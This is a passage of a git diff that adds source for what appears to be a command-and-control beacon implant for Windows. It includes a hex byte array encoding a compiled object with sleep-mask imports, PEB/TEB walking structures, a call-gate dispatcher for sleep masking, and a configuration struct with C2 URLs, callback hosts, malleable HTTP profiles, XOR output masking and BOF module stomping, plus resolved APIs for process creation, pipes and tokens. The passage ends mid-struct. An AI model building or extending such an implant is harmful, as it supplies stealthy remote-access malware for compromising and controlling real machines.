(p)[3155]=0x00; (p)[3156]=0x00; (p)[3157]=0x00; (p)[3158]=0x00; (p)[3159]=0x00; \ + (p)[3160]=0x00; (p)[3161]=0x00; (p)[3162]=0x00; (p)[3163]=0x00; (p)[3164]=0x2E; (p)[3165]=0x72; (p)[3166]=0x64; (p)[3167]=0x61; \ + (p)[3168]=0x74; (p)[3169]=0x61; (p)[3170]=0x00; (p)[3171]=0x00; (p)[3172]=0x00; (p)[3173]=0x00; (p)[3174]=0x00; (p)[3175]=0x00; \ + (p)[3176]=0x04; (p)[3177]=0x00; (p)[3178]=0x00; (p)[3179]=0x00; (p)[3180]=0x03; (p)[3181]=0x01; (p)[3182]=0xAF; (p)[3183]=0x00; \ + (p)[3184]=0x00; (p)[3185]=0x00; (p)[3186]=0x00; (p)[3187]=0x00; (p)[3188]=0x00; (p)[3189]=0x00; (p)[3190]=0x00; (p)[3191]=0x00; \ + (p)[3192]=0x00; (p)[3193]=0x00; (p)[3194]=0x00; (p)[3195]=0x00; (p)[3196]=0x00; (p)[3197]=0x00; (p)[3198]=0x00; (p)[3199]=0x00; \ + (p)[3200]=0x2E; (p)[3201]=0x78; (p)[3202]=0x64; (p)[3203]=0x61; (p)[3204]=0x74; (p)[3205]=0x61; (p)[3206]=0x00; (p)[3207]=0x00; \ + (p)[3208]=0x00; (p)[3209]=0x00; (p)[3210]=0x00; (p)[3211]=0x00; (p)[3212]=0x05; (p)[3213]=0x00; (p)[3214]=0x00; (p)[3215]=0x00; \ + (p)[3216]=0x03; (p)[3217]=0x01; (p)[3218]=0x50; (p)[3219]=0x00; (p)[3220]=0x00; (p)[3221]=0x00; (p)[3222]=0x00; (p)[3223]=0x00; \ + (p)[3224]=0x00; (p)[3225]=0x00; (p)[3226]=0x00; (p)[3227]=0x00; (p)[3228]=0x00; (p)[3229]=0x00; (p)[3230]=0x00; (p)[3231]=0x00; \ + (p)[3232]=0x00; (p)[3233]=0x00; (p)[3234]=0x00; (p)[3235]=0x00; (p)[3236]=0x2E; (p)[3237]=0x70; (p)[3238]=0x64; (p)[3239]=0x61; \ + (p)[3240]=0x74; (p)[3241]=0x61; (p)[3242]=0x00; (p)[3243]=0x00; (p)[3244]=0x00; (p)[3245]=0x00; (p)[3246]=0x00; (p)[3247]=0x00; \ + (p)[3248]=0x06; (p)[3249]=0x00; (p)[3250]=0x00; (p)[3251]=0x00; (p)[3252]=0x03; (p)[3253]=0x01; (p)[3254]=0x48; (p)[3255]=0x00; \ + (p)[3256]=0x00; (p)[3257]=0x00; (p)[3258]=0x12; (p)[3259]=0x00; (p)[3260]=0x00; (p)[3261]=0x00; (p)[3262]=0x00; (p)[3263]=0x00; \ + (p)[3264]=0x00; (p)[3265]=0x00; (p)[3266]=0x00; (p)[3267]=0x00; (p)[3268]=0x00; (p)[3269]=0x00; (p)[3270]=0x00; (p)[3271]=0x00; \ + (p)[3272]=0x00; (p)[3273]=0x00; (p)[3274]=0x00; (p)[3275]=0x00; (p)[3276]=0x80; (p)[3277]=0x00; (p)[3278]=0x00; (p)[3279]=0x00; \ + (p)[3280]=0x00; (p)[3281]=0x00; (p)[3282]=0x00; (p)[3283]=0x00; (p)[3284]=0x07; (p)[3285]=0x00; (p)[3286]=0x00; (p)[3287]=0x00; \ + (p)[3288]=0x03; (p)[3289]=0x01; (p)[3290]=0x14; (p)[3291]=0x00; (p)[3292]=0x00; (p)[3293]=0x00; (p)[3294]=0x00; (p)[3295]=0x00; \ + (p)[3296]=0x00; (p)[3297]=0x00; (p)[3298]=0x00; (p)[3299]=0x00; (p)[3300]=0x00; (p)[3301]=0x00; (p)[3302]=0x00; (p)[3303]=0x00; \ + (p)[3304]=0x00; (p)[3305]=0x00; (p)[3306]=0x00; (p)[3307]=0x00; (p)[3308]=0x00; (p)[3309]=0x00; (p)[3310]=0x00; (p)[3311]=0x00; \ + (p)[3312]=0x8B; (p)[3313]=0x00; (p)[3314]=0x00; (p)[3315]=0x00; (p)[3316]=0x00; (p)[3317]=0x00; (p)[3318]=0x00; (p)[3319]=0x00; \ + (p)[3320]=0x00; (p)[3321]=0x00; (p)[3322]=0x00; (p)[3323]=0x00; (p)[3324]=0x02; (p)[3325]=0x00; (p)[3326]=0x00; (p)[3327]=0x00; \ + (p)[3328]=0x00; (p)[3329]=0x00; (p)[3330]=0x9F; (p)[3331]=0x00; (p)[3332]=0x00; (p)[3333]=0x00; (p)[3334]=0x00; (p)[3335]=0x00; \ + (p)[3336]=0x00; (p)[3337]=0x00; (p)[3338]=0x00; (p)[3339]=0x00; (p)[3340]=0x00; (p)[3341]=0x00; (p)[3342]=0x02; (p)[3343]=0x00; \ + (p)[3344]=0x00; (p)[3345]=0x00; (p)[3346]=0x00; (p)[3347]=0x00; (p)[3348]=0xB9; (p)[3349]=0x00; (p)[3350]=0x00; (p)[3351]=0x00; \ + (p)[3352]=0x00; (p)[3353]=0x00; (p)[3354]=0x00; (p)[3355]=0x00; (p)[3356]=0x00; (p)[3357]=0x00; (p)[3358]=0x00; (p)[3359]=0x00; \ + (p)[3360]=0x02; (p)[3361]=0x00; (p)[3362]=0x00; (p)[3363]=0x00; (p)[3364]=0x00; (p)[3365]=0x00; (p)[3366]=0xDB; (p)[3367]=0x00; \ + (p)[3368]=0x00; (p)[3369]=0x00; (p)[3370]=0x00; (p)[3371]=0x00; (p)[3372]=0x00; (p)[3373]=0x00; (p)[3374]=0x00; (p)[3375]=0x00; \ + (p)[3376]=0x00; (p)[3377]=0x00; (p)[3378]=0x02; (p)[3379]=0x00; (p)[3380]=0x00; (p)[3381]=0x00; (p)[3382]=0x00; (p)[3383]=0x00; \ + (p)[3384]=0xEF; (p)[3385]=0x00; (p)[3386]=0x00; (p)[3387]=0x00; (p)[3388]=0x00; (p)[3389]=0x00; (p)[3390]=0x00; (p)[3391]=0x00; \ + (p)[3392]=0x00; (p)[3393]=0x00; (p)[3394]=0x00; (p)[3395]=0x00; (p)[3396]=0x02; (p)[3397]=0x00; (p)[3398]=0x00; (p)[3399]=0x00; \ + (p)[3400]=0x00; (p)[3401]=0x00; (p)[3402]=0x15; (p)[3403]=0x01; (p)[3404]=0x00; (p)[3405]=0x00; (p)[3406]=0x00; (p)[3407]=0x00; \ + (p)[3408]=0x00; (p)[3409]=0x00; (p)[3410]=0x00; (p)[3411]=0x00; (p)[3412]=0x00; (p)[3413]=0x00; (p)[3414]=0x02; (p)[3415]=0x00; \ + (p)[3416]=0x33; (p)[3417]=0x01; (p)[3418]=0x00; (p)[3419]=0x00; (p)[3420]=0x2E; (p)[3421]=0x72; (p)[3422]=0x64; (p)[3423]=0x61; \ + (p)[3424]=0x74; (p)[3425]=0x61; (p)[3426]=0x24; (p)[3427]=0x7A; (p)[3428]=0x7A; (p)[3429]=0x7A; (p)[3430]=0x00; (p)[3431]=0x48; \ + (p)[3432]=0x61; (p)[3433]=0x6E; (p)[3434]=0x64; (p)[3435]=0x6C; (p)[3436]=0x65; (p)[3437]=0x53; (p)[3438]=0x6C; (p)[3439]=0x65; \ + (p)[3440]=0x65; (p)[3441]=0x70; (p)[3442]=0x00; (p)[3443]=0x48; (p)[3444]=0x61; (p)[3445]=0x6E; (p)[3446]=0x64; (p)[3447]=0x6C; \ + (p)[3448]=0x65; (p)[3449]=0x57; (p)[3450]=0x61; (p)[3451]=0x69; (p)[3452]=0x74; (p)[3453]=0x46; (p)[3454]=0x6F; (p)[3455]=0x72; \ + (p)[3456]=0x53; (p)[3457]=0x69; (p)[3458]=0x6E; (p)[3459]=0x67; (p)[3460]=0x6C; (p)[3461]=0x65; (p)[3462]=0x4F; (p)[3463]=0x62; \ + (p)[3464]=0x6A; (p)[3465]=0x65; (p)[3466]=0x63; (p)[3467]=0x74; (p)[3468]=0x00; (p)[3469]=0x48; (p)[3470]=0x61; (p)[3471]=0x6E; \ + (p)[3472]=0x64; (p)[3473]=0x6C; (p)[3474]=0x65; (p)[3475]=0x57; (p)[3476]=0x61; (p)[3477]=0x69; (p)[3478]=0x74; (p)[3479]=0x46; \ + (p)[3480]=0x6F; (p)[3481]=0x72; (p)[3482]=0x4D; (p)[3483]=0x75; (p)[3484]=0x6C; (p)[3485]=0x74; (p)[3486]=0x69; (p)[3487]=0x70; \ + (p)[3488]=0x6C; (p)[3489]=0x65; (p)[3490]=0x4F; (p)[3491]=0x62; (p)[3492]=0x6A; (p)[3493]=0x65; (p)[3494]=0x63; (p)[3495]=0x74; \ + (p)[3496]=0x73; (p)[3497]=0x00; (p)[3498]=0x48; (p)[3499]=0x61; (p)[3500]=0x6E; (p)[3501]=0x64; (p)[3502]=0x6C; (p)[3503]=0x65; \ + (p)[3504]=0x56; (p)[3505]=0x69; (p)[3506]=0x72; (p)[3507]=0x74; (p)[3508]=0x75; (p)[3509]=0x61; (p)[3510]=0x6C; (p)[3511]=0x50; \ + (p)[3512]=0x72; (p)[3513]=0x6F; (p)[3514]=0x74; (p)[3515]=0x65; (p)[3516]=0x63; (p)[3517]=0x74; (p)[3518]=0x00; (p)[3519]=0x48; \ + (p)[3520]=0x61; (p)[3521]=0x6E; (p)[3522]=0x64; (p)[3523]=0x6C; (p)[3524]=0x65; (p)[3525]=0x47; (p)[3526]=0x65; (p)[3527]=0x6E; \ + (p)[3528]=0x65; (p)[3529]=0x72; (p)[3530]=0x69; (p)[3531]=0x63; (p)[3532]=0x00; (p)[3533]=0x73; (p)[3534]=0x6C; (p)[3535]=0x65; \ + (p)[3536]=0x65; (p)[3537]=0x70; (p)[3538]=0x5F; (p)[3539]=0x6D; (p)[3540]=0x61; (p)[3541]=0x73; (p)[3542]=0x6B; (p)[3543]=0x00; \ + (p)[3544]=0x2E; (p)[3545]=0x72; (p)[3546]=0x64; (p)[3547]=0x61; (p)[3548]=0x74; (p)[3549]=0x61; (p)[3550]=0x24; (p)[3551]=0x7A; \ + (p)[3552]=0x7A; (p)[3553]=0x7A; (p)[3554]=0x00; (p)[3555]=0x5F; (p)[3556]=0x5F; (p)[3557]=0x69; (p)[3558]=0x6D; (p)[3559]=0x70; \ + (p)[3560]=0x5F; (p)[3561]=0x4D; (p)[3562]=0x53; (p)[3563]=0x56; (p)[3564]=0x43; (p)[3565]=0x52; (p)[3566]=0x54; (p)[3567]=0x24; \ + (p)[3568]=0x70; (p)[3569]=0x72; (p)[3570]=0x69; (p)[3571]=0x6E; (p)[3572]=0x74; (p)[3573]=0x66; (p)[3574]=0x00; (p)[3575]=0x5F; \ + (p)[3576]=0x5F; (p)[3577]=0x69; (p)[3578]=0x6D; (p)[3579]=0x70; (p)[3580]=0x5F; (p)[3581]=0x4E; (p)[3582]=0x54; (p)[3583]=0x44; \ + (p)[3584]=0x4C; (p)[3585]=0x4C; (p)[3586]=0x24; (p)[3587]=0x4E; (p)[3588]=0x74; (p)[3589]=0x43; (p)[3590]=0x72; (p)[3591]=0x65; \ + (p)[3592]=0x61; (p)[3593]=0x74; (p)[3594]=0x65; (p)[3595]=0x45; (p)[3596]=0x76; (p)[3597]=0x65; (p)[3598]=0x6E; (p)[3599]=0x74; \ + (p)[3600]=0x00; (p)[3601]=0x5F; (p)[3602]=0x5F; (p)[3603]=0x69; (p)[3604]=0x6D; (p)[3605]=0x70; (p)[3606]=0x5F; (p)[3607]=0x4E; \ + (p)[3608]=0x54; (p)[3609]=0x44; (p)[3610]=0x4C; (p)[3611]=0x4C; (p)[3612]=0x24; (p)[3613]=0x4E; (p)[3614]=0x74; (p)[3615]=0x57; \ + (p)[3616]=0x61; (p)[3617]=0x69; (p)[3618]=0x74; (p)[3619]=0x46; (p)[3620]=0x6F; (p)[3621]=0x72; (p)[3622]=0x53; (p)[3623]=0x69; \ + (p)[3624]=0x6E; (p)[3625]=0x67; (p)[3626]=0x6C; (p)[3627]=0x65; (p)[3628]=0x4F; (p)[3629]=0x62; (p)[3630]=0x6A; (p)[3631]=0x65; \ + (p)[3632]=0x63; (p)[3633]=0x74; (p)[3634]=0x00; (p)[3635]=0x5F; (p)[3636]=0x5F; (p)[3637]=0x69; (p)[3638]=0x6D; (p)[3639]=0x70; \ + (p)[3640]=0x5F; (p)[3641]=0x4E; (p)[3642]=0x54; (p)[3643]=0x44; (p)[3644]=0x4C; (p)[3645]=0x4C; (p)[3646]=0x24; (p)[3647]=0x4E; \ + (p)[3648]=0x74; (p)[3649]=0x43; (p)[3650]=0x6C; (p)[3651]=0x6F; (p)[3652]=0x73; (p)[3653]=0x65; (p)[3654]=0x00; (p)[3655]=0x5F; \ + (p)[3656]=0x5F; (p)[3657]=0x69; (p)[3658]=0x6D; (p)[3659]=0x70; (p)[3660]=0x5F; (p)[3661]=0x4B; (p)[3662]=0x45; (p)[3663]=0x52; \ + (p)[3664]=0x4E; (p)[3665]=0x45; (p)[3666]=0x4C; (p)[3667]=0x33; (p)[3668]=0x32; (p)[3669]=0x24; (p)[3670]=0x57; (p)[3671]=0x61; \ + (p)[3672]=0x69; (p)[3673]=0x74; (p)[3674]=0x46; (p)[3675]=0x6F; (p)[3676]=0x72; (p)[3677]=0x4D; (p)[3678]=0x75; (p)[3679]=0x6C; \ + (p)[3680]=0x74; (p)[3681]=0x69; (p)[3682]=0x70; (p)[3683]=0x6C; (p)[3684]=0x65; (p)[3685]=0x4F; (p)[3686]=0x62; (p)[3687]=0x6A; \ + (p)[3688]=0x65; (p)[3689]=0x63; (p)[3690]=0x74; (p)[3691]=0x73; (p)[3692]=0x00; (p)[3693]=0x5F; (p)[3694]=0x5F; (p)[3695]=0x69; \ + (p)[3696]=0x6D; (p)[3697]=0x70; (p)[3698]=0x5F; (p)[3699]=0x4B; (p)[3700]=0x45; (p)[3701]=0x52; (p)[3702]=0x4E; (p)[3703]=0x45; \ + (p)[3704]=0x4C; (p)[3705]=0x33; (p)[3706]=0x32; (p)[3707]=0x24; (p)[3708]=0x56; (p)[3709]=0x69; (p)[3710]=0x72; (p)[3711]=0x74; \ + (p)[3712]=0x75; (p)[3713]=0x61; (p)[3714]=0x6C; (p)[3715]=0x50; (p)[3716]=0x72; (p)[3717]=0x6F; (p)[3718]=0x74; (p)[3719]=0x65; \ + (p)[3720]=0x63; (p)[3721]=0x74; (p)[3722]=0x00; \ +} while(0) diff --git a/src_beacon/include/Crypto.h b/src_beacon/include/Crypto.h new file mode 100644 index 0000000..b0d10ca --- /dev/null +++ b/src_beacon/include/Crypto.h @@ -0,0 +1,8 @@ +/* beacon/include/Crypto.h + * AES-128-CBC constants for BCrypt encrypt / decrypt. */ + +#pragma once + +#define NAX_AES_BLOCK 16 +#define NAX_AES_KEY 16 +#define NAX_AES_IV 16 diff --git a/src_beacon/include/Defs.h b/src_beacon/include/Defs.h new file mode 100644 index 0000000..4466985 --- /dev/null +++ b/src_beacon/include/Defs.h @@ -0,0 +1,112 @@ +/* beacon/include/Defs.h + * Minimal LDR, PEB, and TEB overlay structs for PEB walk and TEB access. + * MinGW cross-compile winternl.h hides most _TEB/_PEB fields behind Reserved + * arrays; these overlays expose the fields at their real x64 offsets. + * All offsets verified against Windows x64 ABI. + * + * NaxCurrentTeb() / NaxCurrentPeb() - thin macros wrapping NtCurrentTeb() + * (defined in winnt.h, reads GS:[0x30]) cast to our richer overlay types. */ + +#pragma once +#include + +/* ========= [ UNICODE_STRING (PEB/LDR) ] ========= */ + +typedef struct _NAX_UNICODE_STRING { + USHORT Length; + USHORT MaximumLength; + DWORD Pad; /* x64 alignment: Buffer is at +0x08 */ + PWSTR Buffer; +} NAX_UNICODE_STRING, *PNAX_UNICODE_STRING; + +/* ========= [ LDR_DATA_TABLE_ENTRY (InLoadOrderLinks walk) ] ========= */ + +typedef struct _NAX_LDR_ENTRY { + LIST_ENTRY InLoadOrderLinks; /* +0x00 */ + LIST_ENTRY InMemoryOrderLinks; /* +0x10 */ + LIST_ENTRY InInitOrderLinks; /* +0x20 */ + PVOID DllBase; /* +0x30 */ + PVOID EntryPoint; /* +0x38 */ + ULONG SizeOfImage; /* +0x40 */ + ULONG Reserved; /* +0x44 */ + NAX_UNICODE_STRING FullDllName; /* +0x48 */ + NAX_UNICODE_STRING BaseDllName; /* +0x58 */ + ULONG Flags; /* +0x68 */ +} NAX_LDR_ENTRY, *PNAX_LDR_ENTRY; + +/* ========= [ PEB_LDR_DATA (module list head) ] ========= */ + +typedef struct _NAX_PEB_LDR_DATA { + ULONG Length; /* +0x00 */ + BOOLEAN Initialized; /* +0x04 */ + BYTE Pad[3]; + HANDLE SsHandle; /* +0x08 */ + LIST_ENTRY InLoadOrderModuleList; /* +0x10 */ +} NAX_PEB_LDR_DATA, *PNAX_PEB_LDR_DATA; + +/* ========= [ RTL_USER_PROCESS_PARAMETERS (minimal) ] ========= */ +/* Only ImagePathName is exposed - it is at +0x060 in the real struct. + * Reserved[0x60] pads to the correct offset without naming intervening fields. */ + +typedef struct _NAX_RTL_USER_PROCESS_PARAMETERS { + BYTE Reserved[0x60]; + NAX_UNICODE_STRING ImagePathName; /* +0x060 (Length/Buffer at +0x060/+0x068) */ +} NAX_RTL_USER_PROCESS_PARAMETERS, *PNAX_RTL_USER_PROCESS_PARAMETERS; + +/* ========= [ PEB overlay ] ========= */ +/* + * x64 PEB layout (verified): + * +0x000 InheritedAddressSpace / ReadImageFileExecOptions (2 bytes) + * +0x002 BeingDebugged (1 byte) + * +0x003 BitField + Padding (5 bytes) + * +0x008 Mutant (8 bytes PVOID) + * +0x010 ImageBaseAddress (8 bytes PVOID) + * +0x018 Ldr (8 bytes PVOID) + * +0x020 ProcessParameters (8 bytes PVOID) + * +0x028 SubSystemData (8 bytes) + * +0x030 ProcessHeap (8 bytes PVOID) + * + * Byte accounting for the Reserved block: + * Reserved1[2] (0x00-0x01) + BeingDebugged(0x02) + Reserved2[21](0x03-0x17) = 0x18 + * → Ldr starts at +0x018 ✓ */ + +typedef struct _NAX_PEB { + BYTE Reserved1[2]; /* +0x000 */ + BYTE BeingDebugged; /* +0x002 */ + BYTE Reserved2[21]; /* +0x003 – fills to +0x017 */ + struct _NAX_PEB_LDR_DATA *Ldr; /* +0x018 */ + PNAX_RTL_USER_PROCESS_PARAMETERS ProcessParameters; /* +0x020 */ + PVOID SubSystemData; /* +0x028 */ + HANDLE ProcessHeap; /* +0x030 */ +} NAX_PEB, *PNAX_PEB; + +/* ========= [ TEB overlay ] ========= */ +/* + * x64 TEB layout (key fields only): + * +0x000 NtTib (NT_TIB, 0x38 bytes) - ArbitraryUserPointer at NtTib+0x028 + * +0x038 EnvironmentPointer (PVOID) + * +0x040 ClientId.UniqueProcess (HANDLE) + * +0x048 ClientId.UniqueThread (HANDLE) + * +0x050 ActiveRpcHandle (PVOID) + * +0x058 ThreadLocalStoragePointer (PVOID) + * +0x060 ProcessEnvironmentBlock (PPEB / PNAX_PEB) */ + +typedef struct _NAX_CLIENT_ID { + HANDLE UniqueProcess; /* TEB+0x040 */ + HANDLE UniqueThread; /* TEB+0x048 */ +} NAX_CLIENT_ID; + +typedef struct _NAX_TEB { + NT_TIB NtTib; /* +0x000 (0x38 bytes, ArbitraryUserPointer at +0x028) */ + PVOID EnvironmentPointer; /* +0x038 */ + NAX_CLIENT_ID ClientId; /* +0x040 */ + PVOID ActiveRpcHandle; /* +0x050 */ + PVOID ThreadLocalStoragePointer; /* +0x058 */ + PNAX_PEB ProcessEnvironmentBlock; /* +0x060 */ + DWORD LastErrorValue; /* +0x068 - same as GetLastError(), no import needed */ +} NAX_TEB, *PNAX_TEB; + +/* NtCurrentTeb() from winnt.h reads GS:[0x30]; cast to our richer type. + * NaxCurrentPeb() follows the ProcessEnvironmentBlock pointer. */ +#define NaxCurrentTeb() ( (PNAX_TEB)(PVOID)NtCurrentTeb() ) +#define NaxCurrentPeb() ( NaxCurrentTeb()->ProcessEnvironmentBlock ) diff --git a/src_beacon/include/Gate.h b/src_beacon/include/Gate.h new file mode 100644 index 0000000..4e33899 --- /dev/null +++ b/src_beacon/include/Gate.h @@ -0,0 +1,37 @@ +/* beacon/include/Gate.h + * Shared between beacon gate wrappers and sleepmask dispatcher. + * No dependency on Instance.h - only windows.h for base types. */ + +#pragma once +#include + +#define GATE_MAX_ARGS 10 + +typedef enum _GATE_API { + GATE_API_GENERIC = 0x00, + GATE_API_SLEEP = 0x01, + GATE_API_WAIT_FOR_SINGLE_OBJECT = 0x02, + GATE_API_WAIT_FOR_MULTIPLE_OBJECTS = 0x03, + GATE_API_VIRTUAL_PROTECT = 0x04, +} GATE_API; + +typedef struct _FUNCTION_CALL { + PVOID FunctionPtr; + UINT32 GateApi; + UINT32 NumArgs; + ULONG_PTR Args[GATE_MAX_ARGS]; + ULONG_PTR RetValue; + PVOID SmInfo; +} FUNCTION_CALL, *PFUNCTION_CALL; + +typedef ULONG_PTR (*FN0 )( VOID ); +typedef ULONG_PTR (*FN1 )( ULONG_PTR ); +typedef ULONG_PTR (*FN2 )( ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN3 )( ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN4 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN5 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN6 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN7 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN8 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN9 )( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); +typedef ULONG_PTR (*FN10)( ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR, ULONG_PTR ); diff --git a/src_beacon/include/Helpers.h b/src_beacon/include/Helpers.h new file mode 100644 index 0000000..ff5186b --- /dev/null +++ b/src_beacon/include/Helpers.h @@ -0,0 +1,14 @@ +/* beacon/include/Helpers.h + * Shared helper functions - deduplicated from per-module static copies. */ + +#pragma once +#include "Macros.h" +#include "Instance.h" + +FUNC UINT32 NaxStrLen( const PCHAR s ); +FUNC UINT32 NaxWcharLen( const PWCHAR s ); +FUNC VOID NaxWriteWin32ErrCode( PBYTE out, UINT32* out_len, DWORD code ); +FUNC UINT32 NaxAppendStr( PCHAR dst, UINT32 off, UINT32 cap, const CHAR* src ); +FUNC UINT32 NaxAppendWStr( PCHAR dst, UINT32 off, UINT32 cap, const WCHAR* src ); +FUNC UINT32 NaxAppendInt( PCHAR dst, UINT32 off, UINT32 cap, UINT32 v ); +FUNC UINT32 NaxAppendPtr( PCHAR dst, UINT32 off, UINT32 cap, UINT_PTR val ); diff --git a/src_beacon/include/Instance.h b/src_beacon/include/Instance.h new file mode 100644 index 0000000..cdcfd99 --- /dev/null +++ b/src_beacon/include/Instance.h @@ -0,0 +1,586 @@ +/* beacon/include/Instance.h + * NAX_INSTANCE - heap-allocated beacon state. + * NAX_CONFIG holds all runtime-configurable fields (sleep, jitter, key, C2). + * Recovered anywhere via G_INSTANCE (reads TEB->NtTib.ArbitraryUserPointer). + * + * Each DLL bundle struct holds only function pointers from that DLL. */ + +#pragma once +#include "Macros.h" +#include "Defs.h" +#include "Wire.h" + +/* ntdll.h brings all NT types, NtCurrentProcess/Thread, and full NTAPI declarations + * (NtAllocateVirtualMemory, NtProtectVirtualMemory, etc.) so we never redefine them. */ +#define _WINTERNL_ +#include "ntdll.h" +#include +#include +#include +#include +#include +#include "WinApis.h" + +/* ========= [ output configuration ] ========= */ + +#define BOF_STOMP_ASYNC_MAX 4 + +#define NAX_FMT_RAW 0u +#define NAX_FMT_BASE64 1u +#define NAX_FMT_BASE64URL 2u +#define NAX_FMT_HEX 3u + +#define NAX_PLACE_BODY 0u +#define NAX_PLACE_HEADER 1u +#define NAX_PLACE_COOKIE 2u +#define NAX_PLACE_PARAMETER 3u + +typedef struct _NAX_OUTPUT_CFG { + BYTE Format; /* NAX_FMT_* */ + BYTE Mask; /* 0 or 1 - XOR with 4-byte random key */ + BYTE Placement; /* NAX_PLACE_* */ + CHAR Name[ 128 ]; /* header/cookie/param name */ + CHAR Prepend[ 512 ]; + UINT16 PrependLen; + CHAR Append[ 512 ]; + UINT16 AppendLen; + CHAR EmptyResp[ 512 ]; + UINT16 EmptyRespLen; +} NAX_OUTPUT_CFG; + +/* ========= [ runtime configuration ] ========= */ + +typedef struct { + UINT32 SleepMs; + BYTE JitterPct; + BYTE AesKey[ 16 ]; + UINT32 ListenerWm; + CHAR C2Url[ 128 ]; + + BYTE ProfileLoaded; + BYTE ProfileVersion; /* 1=legacy, 2=v2 */ + BYTE Rotation; /* 0=sequential, 1=random */ + CHAR BeaconIdHdr[ 128 ]; /* header name for beacon ID (default X-Beacon-Id) */ + + /* callback hosts */ + BYTE HostCount; + CHAR Hosts[ 4 ][ 128 ]; + CHAR UserAgent[ 256 ]; + + /* GET transaction */ + BYTE GetUriCount; + BYTE GetUriIdx; + CHAR GetUris[ 8 ][ 128 ]; + NAX_OUTPUT_CFG GetClientMeta; + BYTE GetClientHdrCount; + CHAR GetClientHdrs[ 8 ][ 256 ]; + BYTE GetClientParamCount; + CHAR GetClientParams[ 8 ][ 128 ]; + NAX_OUTPUT_CFG GetServerOutput; + + /* POST transaction */ + BYTE PostUriCount; + BYTE PostUriIdx; + CHAR PostUris[ 8 ][ 128 ]; + NAX_OUTPUT_CFG PostClientMeta; + NAX_OUTPUT_CFG PostClientOutput; + BYTE PostClientHdrCount; + CHAR PostClientHdrs[ 8 ][ 256 ]; + NAX_OUTPUT_CFG PostServerOutput; + + /* chunked download */ + UINT32 DlChunkSize; + + /* BOF module stomping */ + BYTE BofStomp; + WCHAR BofSyncDll[ 64 ]; + BYTE BofAsyncCount; + WCHAR BofAsyncDlls[ BOF_STOMP_ASYNC_MAX ][ 64 ]; + WCHAR SmStompDll[ 64 ]; +} NAX_CONFIG; + +/* ========= [ ntdll.dll ] ========= */ + +typedef struct { + HMODULE Handle; + D_API( RtlAllocateHeap ); + D_API( RtlFreeHeap ); + D_API( RtlExitUserThread ); + D_API( NtAllocateVirtualMemory ); + D_API( NtProtectVirtualMemory ); + D_API( NtFreeVirtualMemory ); + D_API( RtlAddFunctionTable ); + D_API( RtlDeleteFunctionTable ); + D_API( NtOpenProcessToken ); + D_API( NtQueryInformationToken ); + D_API( NtQueryInformationProcess ); + D_API( NtClose ); + D_API( NtQuerySystemInformation ); + D_API( NtOpenProcess ); + D_API( NtTerminateProcess ); + D_API( TpAllocWork ); + D_API( TpPostWork ); + D_API( TpReleaseWork ); + D_API( RtlInitializeCriticalSection ); + D_API( RtlEnterCriticalSection ); + D_API( RtlLeaveCriticalSection ); + D_API( RtlTryEnterCriticalSection ); + D_API( RtlDeleteCriticalSection ); + D_API( LdrRegisterDllNotification ); + D_API( LdrUnregisterDllNotification ); + D_API( _vsnprintf ); + D_API( DbgPrint ); + D_API( NtQueryVirtualMemory ); +} NAX_NTDLL; + +/* ========= [ msvcrt.dll ] ========= */ + +typedef struct { + D_API( printf ); +} NAX_MSVCRT; + +/* ========= [ kernel32.dll ] ========= */ + +typedef struct { + HMODULE Handle; + D_API( ExitProcess ); + D_API( Sleep ); + D_API( LoadLibraryW ); + D_API( HeapCreate ); + D_API( HeapDestroy ); + D_API( GetComputerNameExW ); + D_API( WideCharToMultiByte ); + D_API( MultiByteToWideChar ); + D_API( GlobalFree ); + D_API( CreateDirectoryA ); + D_API( SetCurrentDirectoryA ); + D_API( GetCurrentDirectoryA ); + D_API( CreateFileA ); + D_API( ReadFile ); + D_API( WriteFile ); + D_API( DeleteFileA ); + D_API( CloseHandle ); + D_API( RemoveDirectoryA ); + D_API( FindFirstFileA ); + D_API( FindNextFileA ); + D_API( FindClose ); + D_API( GetFileSize ); + D_API( GetLastError ); + D_API( LoadLibraryA ); + D_API( GetProcAddress ); + D_API( GetModuleHandleA ); + D_API( FreeLibrary ); + D_API( LoadLibraryExW ); + D_API( VirtualProtect ); + D_API( CreateProcessA ); + D_API( CreatePipe ); + D_API( WaitForSingleObject ); + D_API( WaitForMultipleObjects ); + D_API( PeekNamedPipe ); + D_API( CreateNamedPipeA ); + D_API( ConnectNamedPipe ); + D_API( DisconnectNamedPipe ); + D_API( SetNamedPipeHandleState ); + D_API( CreateEventA ); + D_API( SetEvent ); + D_API( ResetEvent ); + D_API( GetOverlappedResult ); + D_API( CancelIo ); + D_API( FlushFileBuffers ); + D_API( CreateThread ); + D_API( TerminateThread ); + D_API( GetTickCount64 ); + D_API( GetCurrentThread ); + D_API( DuplicateHandle ); + D_API( GetCurrentProcess ); + D_API( GetACP ); + D_API( GetOEMCP ); + D_API( GetProcessMitigationPolicy ); +} NAX_KERNEL32; + +/* ========= [ kernelbase.dll ] ========= */ + +typedef struct { + D_API( SetProcessValidCallTargets ); +} NAX_KERNELBASE; + +/* ========= [ bcrypt.dll ] ========= */ + +typedef struct { + D_API( BCryptOpenAlgorithmProvider ); + D_API( BCryptSetProperty ); + D_API( BCryptGenerateSymmetricKey ); + D_API( BCryptEncrypt ); + D_API( BCryptDecrypt ); + D_API( BCryptDestroyKey ); + D_API( BCryptCloseAlgorithmProvider ); + D_API( BCryptGenRandom ); +} NAX_BCRYPT; + +/* ========= [ winhttp.dll ] ========= */ + +typedef struct { + D_API( WinHttpOpen ); + D_API( WinHttpConnect 